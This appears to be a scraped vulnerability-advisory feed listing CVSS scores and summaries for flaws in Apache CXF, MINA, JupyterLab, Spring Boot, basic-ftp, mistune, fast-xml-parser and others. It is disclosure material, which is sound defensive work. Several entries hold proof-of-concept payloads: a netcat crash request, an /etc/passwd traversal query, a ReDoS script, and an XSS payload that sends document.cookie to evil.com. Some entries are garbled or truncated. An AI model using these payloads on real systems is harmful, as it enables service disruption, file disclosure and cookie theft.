Where
AND
-Infinity
0
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM API Connect 12.1.0.0 through 12.1.0.3 uses default credentials which could allow an attacker to gain unauthorized access to the application before the system enforces a credential update.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

The fix for CVE-2025-48913: Apache CXF: Untrusted JMS configuration can lead to RCE was not complete, meaning that another path in the code might lead to code execution capabilities, if untrusted users are allowed to configure JMS for Apache CXF. Users are recommended to upgrade to versions 4.2.1, 4.1.6 or 3.6.11, which fix this issue.

1 / 2
Source: Red Hat
First published (updated )
Severity
5.3
XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Insecure XML parser configuration in Apache CXF's WS-Transfer module may allow attackers to perform XXE attacks. Users are recommended to upgrade to versions 4.2.1, 4.1.6 or 3.6.11, which fix this issue.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An LDAP injection vulnerability in the LDAP Certificate repository of the XKMS server in Apache CXF may allow an attacker to retrieve arbitrary certificates from the repository. Users are recommended to upgrade to versions 4.2.1, 4.1.6 or 3.6.11, which fix this issue.

1 / 2
Source: Red Hat
First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

When using the sandbox with a SourcePolicyInterface, Twig does not always apply the sandbox restriction that forbids non-Closure callbacks for callback-accepting filters.

The issue affects the sort, filter, map, and reduce filters.

In the affected versions, the runtime check that rejects non-Closure callbacks in sandbox mode does not use the current template Source. As a result, when the sandbox is enabled through a source policy instead of being enabled globally, Twig can incorrectly treat the current execution as non-sandboxed for these callback checks.

This can allow user-controlled templates to pass arbitrary PHP callables to callback-accepting filters even though the template is being sandboxed through a source policy.

The issue happens when all these conditions are met:

- The sandbox is not enabled globally; - A SourcePolicyInterface enables the sandbox for the rendered template; - The template uses one of the sort, filter, map, or reduce filters; - The callback is not a Closure.

Resolution

The patch makes callback sandbox checks source-aware by propagating the current template Source to callback-accepting filters and using it when deciding whether sandbox restrictions apply.

Credits

We would like to thank XavLim and Wade Sparks for reporting the issue and Fabien Potencier for fixing the issue.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process.

You are affected by this vulnerability if either of the following apply to your application:

you directly use @opentelemetry/exporter-prometheus in your code through its built-in server. your OTELMETRICSEXPORTER environment variable includes prometheus AND you use @opentelemetry/sdk-node you use @opentelemetry/auto-instrumentations-node via --require @opentelemetry/auto-instrumentations-node/register/--import @opentelemetry/auto-instrumentations-node/register

Impact

Denial of service. Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.

Remediation

Update to the fixed version

Update @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to version 0.217.0 or later. Update @opentelemetry/auto-instrumentations-node to version 0.75.0 or later.

This release adds proper error handling around the URL constructor, returning an HTTP 400 response on parse failure rather than allowing the exception to propagate and crash the process.

npm install @opentelemetry/exporter-prometheus@latest

Do Not Expose the Endpoint to Untrusted Users

[!IMPORTANT] The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that can reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to 0.217.0 is the recommended resolution.

If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:

Bind to localhost only by setting the host option to 127.0.0.1 when configuring the PrometheusExporter, so the port is not exposed on public or shared network interfaces

Use a firewall or network policy to restrict access to port 9464 (or whichever port you have configured) to only trusted Prometheus scrape hosts

Place the endpoint behind a reverse proxy that filters or validates incoming requests before they reach the exporter

Details

In PrometheusExporter.ts, the requestHandler calls new URL(request.url, this.baseUrl) without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. http://) for proxy compatibility, including malformed ones. When request.url is "http://", the URL constructor throws TypeError: Invalid URL. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.

The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to 0.0.0.0 by default, meaning it is reachable by any network client that can connect to the metrics port.

Proof of Concept

Start any Node.js application with the Prometheus exporter running on the default port 9464, then send a single raw TCP packet:

echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464

The process crashes immediately with:

TypeError: Invalid URL at new URL (...) at PrometheusExporter.requestHandler (...)

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

i18next-fs-backend is a backend layer for i18next using in Node.js and for Deno to load translations from the filesystem. Prior to version 2.6.4, i18next-fs-backend substitutes the lng and ns options directly into the configured loadPath / addPath templates and then read / write the resulting file from disk. The interpolation is unencoded and unvalidated, so a crafted lng or ns value — containing .., a path separator, a control character, a prototype key, or simply an unexpectedly long string — allows an attacker who can influence either value to read or overwrite files outside the intended locale directory. When lng / ns are derived from untrusted input (request-scoped i18next instances behind an HTTP layer such as i18next-http-middleware, or any framework that lets the end user pick the language via query string, cookie, or header), a single request such as ?lng=../../../../etc/passwd causes the backend to attempt to read that path. This issue has been patched in version 2.6.4.

First published (updated )
Severity
8.6
XSS
AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.7, JupyterLab's HTML sanitizer allowlists data-commandlinker-command and data-commandlinker-args on button elements, while CommandLinker listens for all click events on document.body and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.

A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext.partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.

As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.

---

Details

Root cause

The root cause is that incomplete FTP multiline control responses are buffered without an upper bound.

FtpContext stores incomplete control-channel data in partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64

Incoming control-channel data is handled in onControlSocketData. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores parsed.rest back into partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340

The relevant flow is:

completeResponse = this.partialResponse + chunk parsed = parseControlResponse(completeResponse) this.partialResponse = parsed.rest

There is no maximum size check before concatenating, before parsing, or before storing parsed.rest.

The parser accepts incomplete multiline responses and returns the entire unterminated multiline group as rest:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43

If a server starts a multiline FTP response:

220-malicious banner starts

but never sends the terminating line:

220 ready

then parseControlResponse() treats the accumulated multiline data as incomplete and returns it as rest.

Because onControlSocketData() feeds partialResponse + chunk back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.

Why this is security-relevant

The vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.

The attack occurs automatically when an application using basic-ftp connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.

This is realistic for applications that use FTP for:

- scheduled imports or exports - customer-provided FTP endpoints - backup or synchronization jobs - CI/CD artifact mirroring - document ingestion pipelines - legacy business integrations

In those environments, one malicious or compromised FTP endpoint can cause the Node.js process using basic-ftp to consume excessive memory and CPU or remain stuck in a pending connection state.

---

Proof of Concept

The PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with 220-, but the server never sends the required terminating 220 line.

Reproduction steps

From the root of the basic-ftp project:

bash npm ci npm run buildOnly

poccontrolparserdirect.js

bash CHUNKS=1000 node poccontrolparserdirect.js | tee poc-results/parserdirect1000.log

parserdirect1000.log

Run the end-to-end malicious FTP server PoC:

poccontrolmultilinedos.js

bash CHUNKSIZE=8192 CHUNKS=1000 DELAYMS=1 node poccontrolmultilinedos.js | tee poc-results/controlmultilinedos1000.log

controlmultilinedos1000.log

Observed result: parser-only PoC

text [basic-ftp parseControlResponse incomplete multiline DoS] Input fed: 7.81 MiB Retained rest: 7.81 MiB Initial rss/heap: 54.77 MiB 3.69 MiB Final rss/heap: 141.64 MiB 80.77 MiB

This shows that parseControlResponse() retained the full unterminated multiline response as rest.

The retained buffer grew to 7.81 MiB. Heap usage increased from 3.69 MiB to 80.77 MiB, and RSS increased from 54.77 MiB to 141.64 MiB.

Observed result: end-to-end malicious FTP server PoC

text [server] listening on 127.0.0.1:34429 [server] victim connected [progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB [progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB [final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB [result] client connect() is still pending because the multiline response never terminated

Only 7.8 MiB of malicious control-channel data was sent. The client retained 7.8 MiB in partialResponse, showed large memory spikes, and remained pending inside connect() because the multiline response was never terminated.

---

Expected behavior

The client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.

The client should not allow a remote FTP server to make partialResponse grow without bound.

---

Actual behavior

A malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. basic-ftp continues buffering and reparsing the accumulated data without a maximum response size.

---

Impact

A malicious or compromised FTP server can cause denial of service in applications using basic-ftp.

Possible real-world impact includes:

- Node.js process memory exhaustion - container OOM kill - worker crash or restart loop - event loop CPU pressure due to repeated reparsing - stuck FTP jobs - queue backlog in scheduled import/export systems - degraded availability of services relying on automated FTP ingestion

---

Threat model

The attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.

Examples:

1. A SaaS application allows customers to configure external FTP endpoints for automated imports. 2. A backend job periodically pulls files from partner FTP servers. 3. A document ingestion pipeline connects to FTP endpoints supplied by external users. 4. A legacy integration uses FTP for scheduled synchronization. 5. A build or deployment pipeline mirrors artifacts from an FTP server.

In each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.

No FTP credentials are required for exploitation because the attack happens before login.

---

Suggested fix

Introduce a maximum control response buffer size, especially for incomplete multiline responses.

Recommended changes:

- Add a maxControlResponseBytes or maxControlResponseLength limit. - Enforce the limit before or immediately after appending new control-channel data. - Close the connection and reject the active task when the limit is exceeded. - Add regression tests for unterminated multiline responses.

Example defensive logic:

text if (completeResponse.length > maxControlResponseLength) { closeWithError(new Error("FTP control response exceeded maximum allowed size")) }

A regression test should verify that a response beginning with 220- and never terminating with 220 is rejected after the configured size limit instead of being retained indefinitely.

---

Suggested regression test scenario

A test server should:

1. Accept a client connection. 2. Send an FTP multiline response opener such as 220-malicious banner\r\n. 3. Continue sending additional lines without ever sending the terminating 220 line. 4. Verify that the client rejects the connection once the configured response-size limit is exceeded. 5. Verify that partialResponse does not grow without bound.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A ReDoS (Regular Expression Denial of Service) vulnerability in LINKTITLERE allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.

Details

The vulnerable regex is defined in src/mistune/helpers.py#L20-L25:

python LINKTITLERE = re.compile( r"[ \t\n]+(" r'"(?:\\' + PUNCTUATION + r'|[^"\x00])"|' # "title" r"'(?:\\" + PUNCTUATION + r"|[^'\x00])'" # 'title' r")" )

The double-quote branch compiles to "(?:\\[PUNCTUATION]|[^"\x00])". The two alternatives inside (A|B) overlap: a backslash followed by a punctuation character (e.g. \!) can be matched by either branch — as a 2-character escaped-punctuation sequence \\!, or as two individual [^"\x00] characters (\ then !). The same ambiguity exists in the single-quoted title branch.

When the input contains repeated \! pairs with no closing ", the regex engine exhaustively backtracks through all 2^N combinations, resulting in exponential O(2^N) time complexity.

This is reachable through normal Markdown parsing via two code paths: 1. Inline links: text → parselink() → parselinktitle() 2. Block link reference definitions: [label]: url "PAYLOAD → BlockParser.parsereflink() → parselinktitle() at blockparser.py#L259

PoC

python import mistune import time

md = mistune.createmarkdown()

Test with increasing N (number of \! pairs) for n in [15, 18, 20, 22, 25]: payload = 'x' start = time.time() md(payload) elapsed = time.time() - start print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s")

Output (Apple M2, Python 3.14.3, mistune 3.2.0):

N=15 len= 38 bytes time=0.007s N=18 len= 44 bytes time=0.044s N=20 len= 48 bytes time=0.178s N=22 len= 52 bytes time=0.740s N=25 len= 58 bytes time=5.922s

Each increment of N roughly doubles the execution time (consistent with O(2^N)).

The same attack works via block link reference definitions:

python payload = '[l]: u "' + '\\!' 25 # 58 bytes, ~6 seconds md(payload)

Impact

This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).

Affected use cases include: - Web applications with Markdown-enabled input fields (comments, posts, descriptions) - Documentation systems that accept user contributions - API endpoints that process Markdown - Jupyter tooling such as nbconvert that relies on mistune for rendering

Suggested Fix

Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:

python Before (vulnerable): r'"(?:\\' + PUNCTUATION + r'|[^"\x00])"' r"'(?:\\" + PUNCTUATION + r"|[^'\x00])'"

After (fixed): r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])"' r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])'"

This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3): - Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement) - Handles N=50 in 0.000008 seconds - Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 4.0.0 to 4.5.6, the allow-list of extensions that can be installed from PyPI Extension Manager (allowedextensionsuris) is not correctly enforced by JupyterLab. The PyPI Extension Manager was not contained to packages listed on the default PyPI index. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
5.8
Command Injection, CRLF Injection, CSRF
AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands.

Details

Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAP astring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a atom, quoted, or literal. These are safe from command or argument injection.

But the following commands transform specific String arguments to Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket: #uidsearch, #search when criteria is a String, it is sent raw #uidfetch, #fetch when attr is a String, it is sent raw when attr is an Array, each String in attr is sent raw #uidstore, #store when attr is a String, it is sent raw #setquota: limit is interpolated with #tos and that string is sent raw

Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.

Using "raw data" arguments for #uidstore, #store, and #setquota I both inappropriate and unnecessary. Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.

The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.

Although this was explicitly documented for search criteria, it was insufficiently documented for fetch attr. So developers may not have realized that the attr argument to #fetch and #uidfetch is sent as "raw data".

Impact

If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.

Expected use of Net::IMAP#setquota is much more limited: SETQUOTA is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol SETQUOTA command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling #setquota with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.

Mitigation - Update to a patched version of net-imap which: - validates that Net::IMAP::RawData is composed of well-formed IMAP text, literal, and literal8 values, with no unescaped NULL, CR, or LF bytes. - does not use Net::IMAP::RawData for #store, #uidstore, or #setquota. - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string. - If an immediate upgrade is not possible: - String inputs to search criteria and fetch attributes can be validated against command injection by checking for \r and \n characters. - Hard-coding the store attr argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application. - Use Kernel#Integer to coerce and validate user controlled inputs to #setquota limit.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Last updated 18 June 2026

1 / 5
Source: Ubuntu
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:

Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.

The fix checks if the class is present in the accepted class filter before calling Class.forName().

Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.

The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade.

1 / 2
Source: NVD
First published (updated )
Severity
8.4
XSS
AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

A stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook allows attackers to steal authentication tokens from users who open malicious notebook files and interact with elements that the attacker can make look indistinguishable from legitimate controls (single click interaction).

The vulnerability enables complete account takeover through the Jupyter REST API, allowing the attacker to: 1. Read all files 2. Modify/create files 3. Access running kernels and execute arbitrary code 4. Create terminals for shell access

Patches

Jupyter Notebook 7.5.6 and JupyterLab 4.5.7 include patches for this vulnerability.

Workarounds

The help extension can be disabled via CLI:

jupyter labextension disable @jupyter-notebook/help-extension jupyter labextension disable @jupyterlab/help-extension

Hardening

The patched versions include a toggle to disable the command linker functionality altogether, for example via overrides.json:

json { "@jupyterlab/apputils-extension:sanitizer": { "allowCommandLinker": false } }

Resources

- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files

Acknowledgments

Reported by Daniel Teixeira - NVIDIA AI Red Team

1 / 3
Source: GitHub
First published (updated )
Severity
6.7
AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H

When an application is configured to use ApplicationPidFileWriter, a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior (ApplicationPidFileWriter). Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
9.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

In certain circumstances, Spring Boot's default web security is ineffective allowing unauthorized access to all endpoints. For an application to be vulnerable, it must: be a servlet-based web application; have no Spring Security configuration of its own and rely on the default web security filter chain; depend on spring-boot-actuator-autoconfigure; not depend on spring-boot-health. If any of the above does not apply, the application is not vulnerable.

Affected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory.

First published (updated )

Weak RNG

Risk 54
Severity
8.2
Weak RNG
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Values produced by ${random.value} are not suitable for use as secrets. ${random.uuid} is not affected. ${random.int} and ${random.long} should never be used for secrets as they are numeric values with a predictable range.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); random value property source / weak PRNG for secrets. Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
7
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

A local attacker on the same host as the application may be able to take control of the directory used by ApplicationTemp. When server.servlet.session.persistent is set to true and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / ApplicationTemp ownership verification. Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.

Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5.

The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade

1 / 3
Source: MITRE
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.

The fix checks if the class is present in the accepted class filter before calling Class.forName().

Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and

2.2.0 <= 2.2.5.

The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.

Affected are applications using Apache MINA that call IoBuffer.getObject().

Applications using Apache MINA are advised to upgrade.

1 / 4
Source: Red Hat
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues: - CVE-2023-26920: Prototype pollution (parser) - CVE-2023-34104: ReDoS (parser) - CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder - CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

javascript // Line 442 - Comment building with NO escaping of --> buildTextValNode(val, key, attrStr, level) { // ... if (key === this.options.commentPropName) { return this.indentate(level) + <!--${val}--> + this.newLine; // VULNERABLE } // ... if (key === this.options.cdataPropName) { return this.indentate(level) + <![CDATA[${val}]]> + this.newLine; // VULNERABLE } }

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

javascript import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({ commentPropName: "#comment", format: true, suppressEmptyNode: true });

const xml = { root: { "#comment": "--><script>alert('XSS')</script><!--", data: "legitimate content" } };

console.log(builder.build(xml));

Output: xml <root> <!----><script>alert('XSS')</script><!----> <data>legitimate content</data> </root>

Test 2: CDATA Injection (RSS feed)

javascript const builder = new XMLBuilder({ cdataPropName: "#cdata", format: true, suppressEmptyNode: true });

const rss = { rss: { channel: { item: { title: "Article", description: { "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more" } }}} };

console.log(builder.build(rss));

Output: xml <rss> <channel> <item> <title>Article</title> <description> <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]> </description> </item> </channel> </rss>

Test 3: SOAP Message Injection

javascript const builder = new XMLBuilder({ commentPropName: "#comment", format: true });

const soap = { "soap:Envelope": { "soap:Body": { "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--", Action: "getBalance", UserId: "12345" } } };

console.log(builder.build(soap));

Output: xml <soap:Envelope> <soap:Body> <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!----> <Action>getBalance</Action> <UserId>12345</UserId> </soap:Body> </soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION: Injection successful: true

2. CDATA INJECTION (RSS feed scenario): Injection successful: true

4. Round-trip test: Injection present: true

5. SOAP MESSAGE INJECTION: Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers 2. SOAP injection: Modify SOAP message structure by injecting XML elements 3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout 4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

javascript // For comments: replace -- with escaped equivalent if (key === this.options.commentPropName) { const safeVal = String(val).replace(/--/g, '&#45;&#45;'); return this.indentate(level) + <!--${safeVal}--> + this.newLine; }

// For CDATA: split on ]]> and rejoin with separate CDATA sections if (key === this.options.cdataPropName) { const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>'); return this.indentate(level) + <![CDATA[${safeVal}]]> + this.newLine; }

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to 1.43.0, the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. This is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). This vulnerability is fixed in 1.43.0.

1 / 3
Source: NVD
First published (updated )
Severity
7.4
EPSS
0.02%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Description (as reported)

A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.

